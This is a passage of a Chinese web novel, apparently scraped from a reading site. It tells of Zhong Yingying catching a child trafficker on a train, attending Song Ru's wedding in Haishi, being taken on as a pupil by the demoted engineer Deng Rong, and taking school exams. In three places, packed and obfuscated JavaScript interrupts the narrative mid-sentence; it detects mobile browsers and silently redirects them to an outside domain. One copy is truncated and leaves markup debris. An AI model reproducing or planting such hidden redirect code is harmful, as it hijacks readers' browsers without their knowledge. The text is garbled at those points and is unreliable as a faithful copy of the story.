“我都坐过好多次了。”丽丽冲钟新澄做了个鬼脸。 其实这才是她第三次坐火车，第一次是跟她娘一块去随军，第二次就是回来，第三次就是这次。 但这不妨碍她忽悠小屁孩，谁让这小孩和自己争姑姑了。 当初搁家的时候，姑姑只领着她一人玩，要不是她不在家，姑姑才不会带这个讨厌的弟弟玩呢。 “你……”钟新澄手指指着丽丽，眼见两小只又要吵起来。 钟莹莹立马制止。 “好了，别吵了，要上车了，都牵好我的手，不然一会儿人贩子给你们都抓走。” 检票员见三个娃娃一本正经的装大人，只觉得怪好笑的。 三人检票上车，找到自己铺位躺上去。 俩孩子死活要跟钟莹莹挤一个铺，没办法，只能挤挤了，钟明芳自己在对面盯着三个孩子。 睡到半夜钟莹莹就感觉不对，好像有人在拽自己搂着的俩大侄。 38. 第 38 章 黑暗中，那只探进被窝的手，冷的像冰块一样，钟莹莹浑身一激灵，睡意瞬间消散。她眯起眼睛，借着车厢连接处微弱的灯光，看见一个佝偻的身影正踮起脚往他们的铺上伸手。 她脑海里第一个念头就是：“有人贩子！” 钟莹莹的心脏狂跳，理智告诉她不能轻举妄动，那人动作熟练，显然不是第一次作案。 如果将人惊动了，可能就再也抓不到她了。 来掏孩子的这个是个女的，过道处还有一个人影站在黑暗里，显然是守门通风报信的，那一丝微光并不足以让钟莹莹看清这两人的模样。 她想了想，从空间掏出一瓶墨水，借着被子的掩护，拧开了瓶盖。 黑影似乎觉察到钟莹莹的动静，动作顿了一下。 钟莹莹屏住呼吸，假装翻身，将俩孩子都朝床里面推了推。 她眼睛眯起一条缝，偷摸看人，她终于看清了那人身上穿的衣服，一件半新不旧的蓝色衬衣，左手袖口处还打了一个补丁。 时机到了，钟莹莹猛然坐起身，拿着墨水瓶，对准那人的脸就泼了过去。 “啊~”一声轻微的痛呼响起，那人条件反射般的闭上了眼睛。 钟莹莹立马扯开嗓子尖叫：“有拐子要偷孩子，抓人贩子啊！”尖锐的嗓音直接打破夜晚的寂静，她一边喊，一边死死的抱住自己的俩大侄子，不给人趁机夺走孩子的机会。 “快走！”走道上那人冲车厢内喊了一身，随即立马消失不见了。 车里这人也想走，钟莹莹又放开孩子，抄起枕头，用尽全身的力气砸中了她。 就这么一下，让她的行动缓慢了一瞬。 急促的口哨声从车厢另一端传来，两名乘警快速逼近，开灯的瞬间，灯光的刺激让钟莹莹眯起了眼睛。 地上那人还想跑，乘警一个箭步过来就将人给按到在地上。 “还有一个，往那边跑了。”钟莹莹指着方才走道那人消失不见的方向。 一名乘警留下按住手下抓住的这个人贩子，另外一名追了出去。 整个车厢乱作一团，乘客们议论纷纷。 钟明芳从对面的铺位上直接跳下来，挨地的那一瞬间，脚下还踉跄了一下，她没管，只是迅速爬到对面的铺上，将三个孩子护在身后。 她紧紧的搂着三个孩子，手臂还有些微微发抖，心里满是后怕。 不敢想象，这三个孩子，哪一个丢了，会是什么场景。 钟丽丽和钟新澄这会儿也安静如鸡，小孩子哪里见过这场面，姐妹姑侄四人紧紧抱在一起。 “那个没抓到，跳车跑了。”去追人的那个乘警气喘吁吁的回来了。 “还好抓住了一个，到时候顺藤摸瓜，应当能有些线索。” 之后，又来了两个工作人员，将被抓住的这名女人贩子给带走了。 钟莹莹终于看清她长什么样，她刘海很长，几乎遮住了右边半张脸，露出的那左半边脸，除了有自己泼洒的墨迹外，剩下的皮肤蜡黄一片，转身时，刘海微微掀起，钟莹莹看见，那掩盖在刘海下的右半边脸，好像有着很深的烫伤疤痕。 人贩子被带走后，乘警开始挨个询问这个车厢的乘客做笔录。 大家都答，听到一小孩大喊有人贩子偷孩子才醒的，于是，乘警直接跳过其他人，过来询问钟莹莹。 了解详细过程后，乘警对钟明芳道：“同志，您家这孩子真机灵啊。” “大人都未必这么冷静，能想到用墨水泼人做标记。” 钟明芳听了，心中既骄傲又后怕：“我妹妹打小就机灵，考试一直考双百呢。” 随着夜深，车厢逐渐恢复平静，车里的人却是不敢再睡了，睁着眼，熬一熬也就天亮了，谁知道人贩子会不会趁他们放松去而复返。 天蒙蒙亮时，列车长亲自来到他们车厢，身后还跟着两名铁路公安。 “钟莹莹小朋友是哪位？”列车长和蔼地问道。 钟明芳有些紧张，口快地替钟莹莹问道：“您找我们家孩子有什么事吗？” “这位家长，别紧张。” “我们是来感谢钟莹莹小朋友的，因为她的机智勇敢，才让我们抓住了那个人贩子。” “根据那个人贩子的口供，我们还打掉了一个长期在铁路上作案的团伙。” “所以，根据铁路公安处的规定，我们来给她送奖励来了。” 列车长稍微让开位置，让身后的公安同志上前来。 公安同志从公文包里取出一个红绒布盒子，盒子里面是一只崭新的钢笔还有一瓶未开封的墨水。 钟莹莹接过时，公安同志又掏出一张大红的奖状，上面写着“见义勇为”四个大字，底下标明了铁路公安部处颁发，赠钟莹莹，还盖了鲜红的印章。 “小朋友，你的墨水协助抓人时用掉，我们再奖励给你一瓶，还有这支钢笔，希望你以后能好好学习，长大以后报效国家。”说着，公安同志冲着钟莹莹敬了一个礼。 钟莹莹也坐在上铺昂首挺胸回了一个不伦不类的礼，其他铺位的人忍不住‘噗呲’一声笑出来，觉得这孩子可真有意思。 “公安处的奖品发了，现在是我们铁路局的奖励。”列车长笑眯眯的上前来。 他掏出一个信封：“这是我们的一点小小心意，小朋友，你收好，下车到家以后再看。” 车上人多眼杂的，万一被人盯上，动了不好的念头就不好了。 钟莹莹接过后，看似折了一下放到自己的裤子口袋里，实则借着口袋的掩护把东西放进了空间里。 奖状也被她卷起来收好了，这玩意等到那几年，作用可比钱大的多。 钟明芳没过问这个事情，给孩子的奖励，她不能拿了，钟莹莹放不好再来找她，能放好还是自己放着比较好。 她这个妹妹，可比她机灵多了。 昨晚要是没她的话，估计俩孩子能丢完。 她自己也是警惕性太低了，之前坐火车，车上有丈夫和婆婆，所以没感受到什么危险， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595255|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还以为这次会和之前一样顺利。 爹娘和她说，上车后要看好孩子，她嘴上答应，心里却没那么在意，没想到第一次单独出行就出事了。 以后万万不能这样了。 列车长走后，钟新澄和钟丽丽围着钟莹莹团团转，昨晚的紧张不安退去，这俩孩子此刻心里只有兴奋。 “姑姑，你成英雄了！”钟新澄仰着小脸，眼睛里满是崇拜。 丽丽也跟他一样，从来没有这般敬佩过自己姑姑。 钟莹莹认真对俩孩子说：“下车以后，一定要牵紧姑姑的手，听到了吗？” “不然昨天那人贩子，就会给你俩抓走，以后再也见不到爹娘和姑姑了。” 俩孩子使劲点头，钟新澄学着大人模样，拍了拍胸脯道：“我一定会的，我长大以后也要像姑姑一样，帮警察抓人贩子。” 丽丽不甘示弱，紧随其后一样表明决心。 钟莹莹只觉得心里很是安慰，钟新澄这家伙，价值观算是立住了，以后应该不会再长歪了吧？ 其实昨晚那个人的目标应当是钟新澄，这年头小女孩不好卖，小男孩才叫吃香。 钟新澄家里养的好，整个人胖乎乎的，虽然夏天疯玩晒黑了一点，但看起来皮实的很，人贩子就喜欢这样的孩子。 昨天那女人掏了半天，就是想掏睡在里面的钟新澄来着。 这傻孩子还乐呢，真被弄走了，哭都没眼泪。 上午十点，列车到站，下车时，宋茹已经在站台等着了。 他们出发之前，钟伟先就去县里拍了电报，告诉了宋茹他们的到达时间。 “什么？你们遇到人贩子了？”坐在宋茹新未婚夫的小汽车上，钟家几人说起了路上的经历，宋茹一下子就瞪大了眼睛。 她当时就是被人贩子给卖到吴家村去的，中间还倒了好几手，那实在不是多美丽的回忆。 好在一切都过去了，宋茹抬眼望着开车的未婚夫，眼睛里写满了温柔。 赵擎家之前不知道发什么疯，疯狂刨一个破院子的土，说是丢了什么东西，被人查到这家人私底下想移民出去，然后就被举报了。一家子下台被赶到北疆去了。 她那个好表妹，工作被她爹弄没了，找一个工作她爹破坏一个，今年下乡活动，也被打包也送到北疆去了。 地址是宋茹和她爹一起选的，既然郎有情，妾有意。那还是锁死好了，免得这俩人分开又去霍霍别人。 宋茹现在这个未婚夫是她大学同学，之前一直喜欢她，因为赵擎的存在，没敢表白，等到赵擎和林晚晚搞到一起，他又从犄角旮瘩里迅速钻出来，找上了宋家。 一开始宋茹是不同意的，之前的经历让她对婚姻没有太多的期待。 现未婚夫王书钰，锲而不舍，花了五年的时间，终于让这父女俩都松了口。 钟莹莹暗自打量了王书钰一番，长得不错，看起来应当是个好的。开车去车站接他们的时候，身上也没有那种城里人面对乡下人时的傲慢感。 39. 第 39 章 “姑姑，坐小汽车真好啊！”钟新澄放低了声音，扯了扯钟莹莹的袖子。 陡然到一个陌生城市，一开始的兴奋劲儿过去，他就有点子拘束在身上了。 “等你长大了，也可以学着开小汽车。”宋茹听了笑呵呵道。 得益于钟莹莹，她对钟家的孩子好感值都很高。 “对，等你成年了，可以来海市，到时候叔叔教你开车。”王书钰调转车头，停下车子，转过身脸上也满是笑意。 他知道宋茹的全部经历，对钟家人也很是感谢。 没有钟家人，他这辈子可能再也见不到宋茹了，现在，能和宋茹结婚，已经是他此生最大的幸运。 王书钰是个孤儿，大学的时候，一度连饭都吃不起。 宋茹路过，可怜他，给了他一口饭吃。 他就记在了心里。 因着宋茹身边有赵擎，还有两人的差距，不敢表露。 宋茹被拐的那段时间，他一直在找她。 等到她平安归来，王书钰又默默地隐藏起自己的心事。 直到宋茹和赵擎闹掰，他见到有人编排宋茹，才一怒之下，当众去了宋家提亲。 宋茹因为自己的遭遇，不敢再信任男人，他就守着宋茹过了五年。 能和心上人处在一个空间已经十分幸福了，他不敢再奢求太多。 没想到，好运真的会降临在自己身上。 王书钰这段时间看什么都是顺眼的。 钟莹莹听见钟新澄对小汽车又感兴趣了，心想，小娃娃，一天天的，一会儿一个想法。 丽丽这会儿已经在钟明芳的怀里睡着了，晃悠的小汽车对于不晕车的人来说，十分催眠。 下车的时候都没醒，还是钟明芳给她抱进招待所去的。 宋家这次要嫁女，屋里东西堆的多，钟莹莹他们人又多，就不太适合去宋家住了。 宋冬宇提前让招待所留了一个单间。 姐妹姑侄四人住一间屋子，晚上门和窗子锁好，不会有什么危险。 外面的巡逻队又不是吃素的。 钟家一行人在招待所休整好，第二天的时候，俩人带着钟家四人一块逛了海市比较知名的几个地标性建筑。 王书钰和宋茹的婚宴安排在第三天。 “木木、丽丽起床了，今天我们要去宋姑姑家。”钟莹莹喊宋茹叫姐姐，到俩孩子这里只能升一个辈份了。 俩孩子睡眼惺忪，不知天地为何物。 一心只想睡觉，钟莹莹和钟明芳推了好几次都没起。 “起的早的孩子，有熏鱼吃哦~”昨天刚吃过，香的很嘞。 鱼块经过酱油、黄酒、冰糖调制的浓醇卤汁浸透，先炸至外皮金黄酥脆，再趁热浸泡进秘制酱汁里，入口时，甜咸交织，甜为主，极符合小孩子的口味。 钟莹莹上辈子爱吃，这辈子依旧爱吃。 不配米饭，空口吃都能吃好几块。 钟新澄和钟丽丽禁不起美食的诱惑，迷迷糊糊的坐起身来：“熏鱼？哪呢？哪呢？” 钟明芳笑了说：“快洗把脸，等会去宋姑姑家，就有熏鱼吃了。” “没有啊？” 钟新澄有些失望。 但已经清醒了大半的他还是起来了，在钟明芳的指挥下，就着屋里的脸盆胡乱洗了两把脸。 到宋家的时候，天边才泛起一丝微光。 他们来的早，是为了给宋家帮忙的。 宋家只有父女两个人，一早新郎官就要来接亲，钟明芳怕他们忙不过来。 宋家的早饭是汤圆，有豆沙馅儿和黑芝麻馅儿两种。 馅儿是昨天就做好的，就等今天早上包汤圆了。 钟明芳把礼金硬塞给宋茹后，就上手帮着包汤圆了。 海市嫁女儿，要母亲亲手喂女儿一口甜汤圆，寄托对女儿婚姻幸福的期许。 宋茹没了娘，这一口汤圆就要由宋冬宇来喂了。 一大早，打扮的像只开屏孔雀的王书钰就骑着自行车过来接亲了：“小茹，我来接你了。” 他毕业之后就参加工作了，入职了机械厂，买自行车的自行车票也是为了结婚找人高价换的。 他家就他一个，跟他一块过来结亲的几个伴郎，都是他厂里的同事。 一个个人高马大的，看起来好不威风。 宋家也没好到哪里去，宋家没什么亲戚了，宋茹那早逝的娘那边的亲戚，也因为林晚晚一事，几乎断绝了来往。 此刻在跟前的也就几户平常走的比较近的邻居。 “哟，新郎官今天可真俊啊~”邻居大娘带着善意的调侃。 王书钰的脸红成了一个红苹果。 “几位伴郎也帅的很，不知道找对象了没？大娘到时候给你们一人介绍一个。”一看见俊俏小伙，大爷大娘们就忍不住想要保媒。 几位伴郎听见后，脸也跟王书钰一样，红成了个猴屁股。 “好了，不闹了，小伙子脸皮薄。”大爷大娘也识趣。 今天宋家大喜的日子，他们也就来凑个热闹，哪能真拦门啊！ 王书钰看对方给自己行方便，让伴郎一人给发了一个小红包，几个大爷大娘喜气洋洋的拿着红包让到一旁。 屋里宋茹也是羞红了脸。 宋冬宇在喂她吃汤圆，吃着吃着她的眼泪就滴到了碗里。 “好了，大喜的日子哭什么？”宋冬宇替她擦去眼泪，安慰道。 其实他自己也挺想哭的。 就这么一个女儿，宋茹嫁出去以后，他就真正是孤家寡人一个了。 宋茹也不知道，为什么明明是高兴的日子，自己却那么想流泪，她想，应当是喜悦的泪水吧。 “小茹！”王书钰站在宋茹的房门口，看着室内的父女俩，竟然也悄然红了眼眶。 三个眼睛红红的人凑在一起，要不是都是一身红衣，就不像是结婚的，反倒像是结仇了一样。 “书钰~”宋茹看王书钰的眼神缠绵悱恻，情意绵绵。 宋冬宇竟然感觉有点酸了。 “岳父，以后我会对小茹好的。”王书钰郑重其事承诺道。 “以后谁当家？谁做主？谁管钱？”钟新澄和钟丽丽充当喜童子，异口同声问道。 这都是之前排练好的，今天就走个过场。 “小茹当家做主，我的工资一分不留，全部上交。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601848|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子汉大丈夫，钱肯定都要给媳妇儿管的。 看看岳父，又看看媳妇。 王书钰上前一步，接过宋冬宇手里的汤圆碗，竟然送到嘴边，三两下吃掉了剩下的。 “这……”宋冬宇很是震惊。 他们这新郎若是在新娘家吃饭，是有入赘的说法的。所以一般新娘家不会准备新郎的饭，他这女婿也是海市人，应当不会不知道这个习俗的啊？ “岳父，您也知道，我是个孤儿，爹娘都没了。” “以后我娶了小茹，我们就是一家人。” “我会把您当亲爹娘一样孝顺。” 王书钰是真心实意这样说的，宋冬宇爱屋及乌，待他这个女婿也好的很，跟他亲爹娘也没差别了，是不是入赘，又有什么要紧的呢？ 接着，他又放出一个重磅炸弹：“以后我跟小茹的孩子，姓宋。” 爹娘死得早，他吃百家饭和政府饭长大的，对于传宗接代并没有那么深的执念，宋茹生不生孩子他都无所谓，不生更好，俩人二人世界过的更幸福一点。 他争取好好锻炼身体，比宋茹多活一两年，处理完她的后事再走。 如果要是生孩子的话。 他岳父年纪大了，是个比较传统的人，孩子姓宋，应当会让他开心。 岳父开心，等于媳妇开心，媳妇开心，等于他开心，皆大欢喜。 如果钟莹莹知道他的想法，恐怕会惊呼一声，好超前的想法。 要知道，就算是后世，能够接受孩子跟媳妇姓的，都是少数。 “老宋家这个女婿不得了啊！” “是啊，老宋真是找了个好女婿。”围观的大爷大娘，不由自主的开始羡慕起来。 生个闺女，又白得个孝顺女婿，老宋好福气啊！ “那我就把我闺女放心交给你了。” “如果你对她不好，我会带她回家的。”宋冬宇虽然知道，王书钰不会的，但是狠话依旧是要放的。 “岳父您放心，如果我有二心，那到时候，不用您动手，我自己从黄湖江跳下去。”王书钰无法想象，自己得到幸福后，再背叛会是什么样子，到那个时候，恐怕他自己就会先一步自我了结了。 钟明芳跟着帮衬道：“快，呸呸呸，大喜的日子，说这么不吉利的话。” 王书钰顺着钟明芳的意思，连呸三下之后，终于接到了自己媳妇。 走之前，还不忘给钟家三个孩子，连带着钟明芳，都送了一个比较大的红包。 接亲只是走个流程，宋茹到了王书钰家后，中午，王书钰和宋冬宇他们还是要一块吃饭的。 这年头不兴大肆操办，所以婚宴都是自家人去国营饭店点一桌菜，邻居什么的，送点喜糖和包个小红包就算完事。 起了一个大早的丽丽和钟新澄，只吃了一碗汤圆，等到中午，肚子都要饿扁了。 钟莹莹也有些困倦，虽然啥也没干，但就算觉得结婚可真累人啊。 王书钰预订的菜色非常丰富，三个伴郎，加上钟家四人，和宋家父女俩，还有王书钰，正好十个，凑了一整桌。 几人正吃着饭呢，就有人来找王书钰，说出事了，他们领导被抓了。 40. 第 40 章 那人还说，他们领导是因为发表了思想不正确的文章，被上头严厉批评，要给下放到乡下去。 “爹，小茹，你们先吃，我去去就回。”王书钰很是着急。 他直系领导对他有知遇之恩，他不能作视不理。 “去吧。”宋冬宇表示理解。 要是身边亲近之人出事，王书钰还无动于衷，那他还真看不上他了。 钟莹莹有点纳闷，不应该啊，正式下放运动应该是在五十年代末了，离现在还有几年呢，怎么现在就开始抓人了？ 她又想了一下，不对，好像五十年代初期也有，基本上是基层锻炼，他们还会保留干部身份，一般是为了基层建设或者思想改造。 因为政策相对温和，所以很多人经常忽略这一阶段，事实上，下放从五十年代初就开始存在了，只是五十年代末的，规模更大，条件更苦。 也不知道王书钰领导是犯了啥错，才被抓了。 如果不是太恶劣的话，钟莹莹希望，能把人弄到他们村去。 村里那几个知青，能做的事情有限，一个机械厂的领导，就算不是技术工种，到他们村都是赚的。 如果是技术工种，那更是赚大发了。 钟莹莹只是在脑子里想想，没敢说出来。 王书钰回来的时候，脸上满是颓唐。 显然是木已成舟，没有转圜的余地。 “已经确定邓工是要下放了，是吗？”。 宋冬宇沉吟道：“下放地址有确定吗？” 宋茹一听这话就有想法了，钟家人还没走。如果邓工被下放到其他地方，可能会有不可预料的事情发生。 如果是钟家岗，钟家人在那里，起码没人会欺负他，还可以照顾着些。 邓工年纪不小了，苦力活干不来的。 王书钰也懂宋冬宇的意思了：“我这就去托人运作。” 运作得当，没准可以和钟家人一块回去呢，路上也有个照应。 宋茹负责和钟家人商量。 “明芳姐，不瞒你说，书钰的领导因为犯了一点小错误，要被下放到乡下去。” “他年纪大了，腿脚也不好。” “我们就想着，把他弄到钟家岗去，想求你们帮忙照顾一下，你看可以吗？”宋茹眼神中带着祈求。 “这……”钟明芳不敢应答，都要被下放到农村了，会是什么好人。 宋茹看出她的顾虑，拉着她的手道：“你放心，邓工犯的不是什么杀人放火的大错，。” “他写了一篇文章，发表在报纸上，被对手挑刺找到问题了。” “上面觉得他思想有待提高，所以才下放的。” “下放期间，他的干部身份仍旧保留的。” 宋茹一点点将原因揉碎了掰开了讲给钟明芳听，就怕钟家人对邓工心有芥蒂，到时候给人安排到钟家岗，反而不妙。 “我家书钰这几天你也见了，人品怎么样我就不说了。” “邓工不仅仅是他的领导，更是他的师傅。” “我敢用人品保证，邓工绝对没有问题。”宋茹就差指天发誓了。 钟明芳终于应了下来，家里和宋家打交道这么些年，宋家人的人品还是可以保证的。 “办好了，下放地点就定在了钟家岗。”王书钰这次回来是满脸喜色，再不见之前的忧愁。 他和邓工见了一面，邓工说，这个时候下放，急流勇退，未必不是好事。 邓工家里有海外背景，他弟弟一家出国了。 这也是一直一来他被人攻讦的点。 去了乡下，远离权力中心，反而没人会注意到他。 他已经看出来了，现在的形势貌似不太好，好些个家里背景不好的，被查了。 以后会不会查的越来越严？他家禁得起查也禁不起别人举报啊！ 想到这些，邓工决定要多在乡下苟几年，反正他年纪大了，早该退休了。 “办好了就行。”宋茹也松了一口气。 王书钰和邓工关系紧密，倘若邓工真出事，王书钰也会受到牵连。 返程的火车上，钟莹莹看见邓工还有点不敢置信，这不是后世写在教科书上的人物吗？虽然中间被下放过，后面还是被召回去研究保密物品去了。 这样的人物，去到了他们村，他们该是何等荣幸。 邓工原名邓荣，是机械厂的高级工程师，曾经参与设计多项工程。 这个年代工程师的含金量和后世可不同，能当高级工程师的，几乎是在专业领域各项全能了，既能画得了图纸，也能进一线参加生产工作。 钟莹莹在思考，怎么将邓工在钟家岗期间产生的利益最大化。 知青们只有周岱是有机械基础的，村里人更不用说，处于刚认字的阶段。 想跟邓工学习，也赶不上趟。 还是得知青。 村民学的慢也得学起来，整个村子一起提升，才能大家一起变得更好。 她自己也得学，还得立个天才人设。 “邓工、明芳姐，我就送你们到这，等下火车要发车了，路上注意安全。”送君千里，终有一别。 王书钰纵然有再多的不舍，也只能憋在心里。 “去吧，小老头好好的，能出什么事。”邓荣的心态好得很，下乡就下乡，到哪里不是过活。 他的行李不少，主要的还是一大箱专业书籍，衣服啥的都邮寄过去了。 书籍他不敢邮寄，害怕受损或者丢失。 因着没犯啥大错，所以没人守着他，只要他自行去下放地点报到就行。 宋茹又跟钟明芳说了几句话，塞给钟莹莹一个厚厚的信封，钟莹莹打开扫了一眼，信封里装的是钱，还有一沓花花绿绿的各色票据。 找别人帮忙，总得付出点代价，不然拿什么照看邓荣，害怕钟明芳推辞，宋茹才直接塞给了钟莹莹。 “这几个孩子几岁了？”邓荣在卧铺车厢里无聊，随意和钟明芳搭着话。 “俩小的一个五岁，一个六岁半了，大的这个马上要九岁了。”钟明芳答道。 “读过书了吗？”邓荣问。 钟新澄迫不及待举手：“我读了，我读一年级了。”他也是个有知识有文化的小学生。 “我读二年级了。”钟丽丽不甘落后。 “嘿呦，还挺棒。”乡下娃子能送去读书，他那徒弟给他找的人不错啊。 “你嘞？”邓荣看向钟莹莹。 “我读初一了。”这还是她第一次和载入史册的人物对话，她何德何能啊？感谢穿越大神，钟莹莹内心有些激动，面上却是一派淡定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608929|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不冷静不行啊，真要激动反而会被人怀疑动机不纯。 她现在这个阶段，不应该认识邓荣。 “真的？”小老头瞪大了眼睛。 不到九岁读初一，这是一个小天才啊。 “真的，莹莹每次考试都拿一百分呢！”一提到成绩，钟明芳就与有荣焉。 她和钟绍华学习都一般，没想到爹娘老来得子生出的孩子，反而学习特别好。 回家都没怎么见过她写作业，偏偏她就是每次都能拿满分。 有老师要推荐钟莹莹去考少年班，钟莹莹恋家，就没去成。 “那还真是一个小天才呢！” “以后有兴趣学机械吗？”邓荣是个爱才的，当时收王书钰也是因为看他努力上进，头脑也不错。 眼下有个聪明娃，他自然动了心思，想要尝试着培养一下。 虽然他自己现在的处境可能有些糟糕，也不妨碍他继续为祖国培养人才。 “机械？是造插秧机的机械吗？”钟莹莹很想立马答应，为了立人设，还是伪装了一下。 “我们村有个知青就是学机械的，他帮村里造出了插秧机和播种机。” “我学了机械，也会像他一样厉害吗？” 邓荣惊讶了，这钟家岗究竟是什么风水宝地，之前插秧机登报，他也看了，虽然没什么太大的技术含量，但是能做到哪一步已经足够为种田省时省力了。 后面竟然还有播种机，也是和插秧机一样的半自动化器械吗？为什么这次没有登报呢？ 钟家岗他还真是去对了。 “我是高级工程师，你跟我学，我保证你比他还要厉害。”不是邓荣吹，全国上下能跟他比拼技术的，屈指可数。 刚下乡没多久的知青算什么？顶多算个新兵蛋子。 “那我跟你学。”钟莹莹答应了。 天才人设立的好，后面她提出一些后世的想法，也不容易被怀疑。 “我也要，我也要学。”钟新澄跟着捣乱。 “你小子捣什么乱，字都没认完呢？等你认完字再来找我吧。”邓荣装作生气的样子，一下子就把钟新澄给唬的不敢说话了。 邓荣是爱才，可他不想教小学生，叽叽喳喳的吵死了。初中还勉强，起码该认的字识了大半。 钟明芳很是迷惑，这就认上老师了，这才见面多久啊？ 想不明白。 钟明芳的不是个特别聪明的人，想不明白她就不想了。 她妹妹比她聪明，不会有问题的。 既然这个邓工成了小妹老师，那等到了钟家岗，指定待遇不差。 姓钟的从来不会亏待自己人。 火车旅程漫漫，邓荣掏出两本基础机械知识的书，递给钟莹莹，让她好好看，多学点。 先自学，等到一个月后，他会考察她的学习情况。 钟莹莹自然不会不答应。 书本拿到手里，还没翻两页，在火车的晃悠下，她就沉沉睡过去了。 邓荣是高级干部，能买软卧票，宋冬宇找人直接包了一个软卧车厢，四个铺位，买了四张票。 晚上睡觉不用守夜，门从里面锁好，可以安心直接睡。 邓荣见钟莹莹看了没两页就睡了，哭笑不得的摇摇头，火车使人犯困，他也困了。 41. 第 41 章 回钟家岗没法雇牛车了，现在的车子都是属于集体的，不能再拿来收费私用。 火车抵达时已是晚上，邓荣腿脚还成，跟钟家人在招待所休息一晚后，第二天一大早，吃完饭一起踏上了回钟家岗的路途。 钟莹莹没跟着回去，请了那么多天假，她该回学校了。 一到学校就是考试，初中学习不难，但是一轮轮考试考下来，也是怪让人头疼的。 语文、数学都不难，政史地，物化自都是最基础的学习。 但是，有一门外语课，学的是老大哥的语言。 钟莹莹哪里学过啊，上辈子也就学了个英语。 每次俄语课，她都不像在其他课程上摆烂，认真程度简直不是一个等级的。 一个全新的语言体系，最核心的就是语法规则和单词。 和后世一样，这个年代的俄语，学生学了后也基本是“哑巴俄语。” 老师的发音并不标准，都带着本地口音。 平常也用不到，只有上课和考试的时候会接触。 学习这个也是为了“向老大哥学习”。教材内容基本上是老大哥的精神理念建设，革命英雄事迹等，主要是为了培养能阅读俄文技术材料，与专家交流的人才，为了服务工业化建设。 考试内容和英语也差不多，有语法词汇、句子翻译、阅读理解和应用文写作。 如果想要报考重点高中或者中专技术学校，俄语学习是必不可少的，俄语高分在录取条件中是占比重较大的一条。 个别俄语成绩过差者，还可能被批评成“学习老大哥思想，态度不端正。”直接被记录在档案里，别说升到好的学校了，中考可能都不给参加。 期中考试当天，天有点凉了，钟莹莹穿的有点少，她搓了搓手指，才提笔答题。 前几场考试，都尤为顺利的提前交卷了。 等到考俄语的时候，她一字一句检查了两三遍，还是有点不放心。 “时间到，交卷。”监考的老师敲敲讲台。 收卷时，他特意在钟莹莹桌前停留，细细观察了一下钟莹莹的卷子。 这可是之前初一的年纪第一，读初二会差吗？ 前几场都提前交卷了，也不知道为何这最后一场，一直坐到了考试结束。 是有什么题目不会吗？ 监考老师翻了一下卷子，基本写的都对啊？他心里暗道，不愧是第一名，年纪虽小，但性格却很谨慎。 “莹莹，听说你去海市了，那边好玩吗？”宿舍六人组围着钟莹莹围了一圈。 “是啊，是啊，莹莹，海市好玩吗？听说那边比我们这边漂亮多了。”李红雪的眼睛里写满了羡慕。 她也想去海市看看呢，她姑姑有一瓶脸霜就是托人从海市寄过来的，平时宝贝的很。 楚秀秀也是满心羡慕，她放假了就只能回家带弟弟和干活，去海市她想都不敢想，她好希望自己也能像钟莹莹一样，成为钟家的孩子啊。 “海市很大，也很漂亮。” “那边街上到处都是自行车，还有小轿车咧。”钟莹莹顿了顿，接着又说道：“我们下火车，我那个姐夫就是开小轿车来火车站接我们的。” “你还坐小轿车了？” “坐小轿车是什么感觉啊？”吴月很好奇。 她没有体验过，她家里也没有那么有钱的亲戚。 “很舒服，坐里面一点也不颠，我在上面都睡着了。” “我们一起好好学习，考上高中，等考大学，可以报海市的大学，听说上大学每个月学校还会给发补贴呢。”钟莹莹在给几个舍友画大饼。 宿舍里六个人，吴月、楚秀秀、李红雪还有高家娣是和钟莹莹一样，从乡下考出来的。 祁绮，也就是之前家里有教育局亲戚的那个胆小女生，她家是城里的。 吴月、楚秀秀、李红雪的成绩虽然不算多好，但在班里都是排在中上的。 只有高家娣，班级倒数。 她十五岁了，本来上学就是她求来的，现在成绩那么差，家里已经不想再给她读书了。 她娘给她在镇上相看了一个对象。她自己也有些动摇了，她成绩那么差，读书真的是正确的吗？ 钟莹莹不知道读书能不能改变命运，但是不读书是一定不行的。 小小年纪，十五六岁，去生孩子，然后一辈子被锁死在那个家。那不如拼一把，万一读出来个名堂了呢？ 宿舍几人私下里都在给高家娣补课。 她学习很吃力，一方面是因为乡音重，听不太懂普通话，另一方面就是胆子小，有问题不敢问，小问题积压在一起，再加上之前刘老师的打压，那成绩能好吗？ 祁绮虽然胆子小，人家家境好，不懂的问题，回家问也能弄明白。 高家娣能学习的地方，只有学校。 “好，我们一块好好学习，考同一所大学。”李红雪被钟莹莹的饼诱惑到了。 其他几人也纷纷赞同。 祁绮犹豫了几分钟，也跟着下定决心，如果这次考试成绩她有进步，那就跟大家一块继续学习，努力考上大学。 如果还是老样子，就算她自己想读，她家里也不会再让她继续读了。 没进步就退学回家结婚，进步就继续抗争，努力学习。 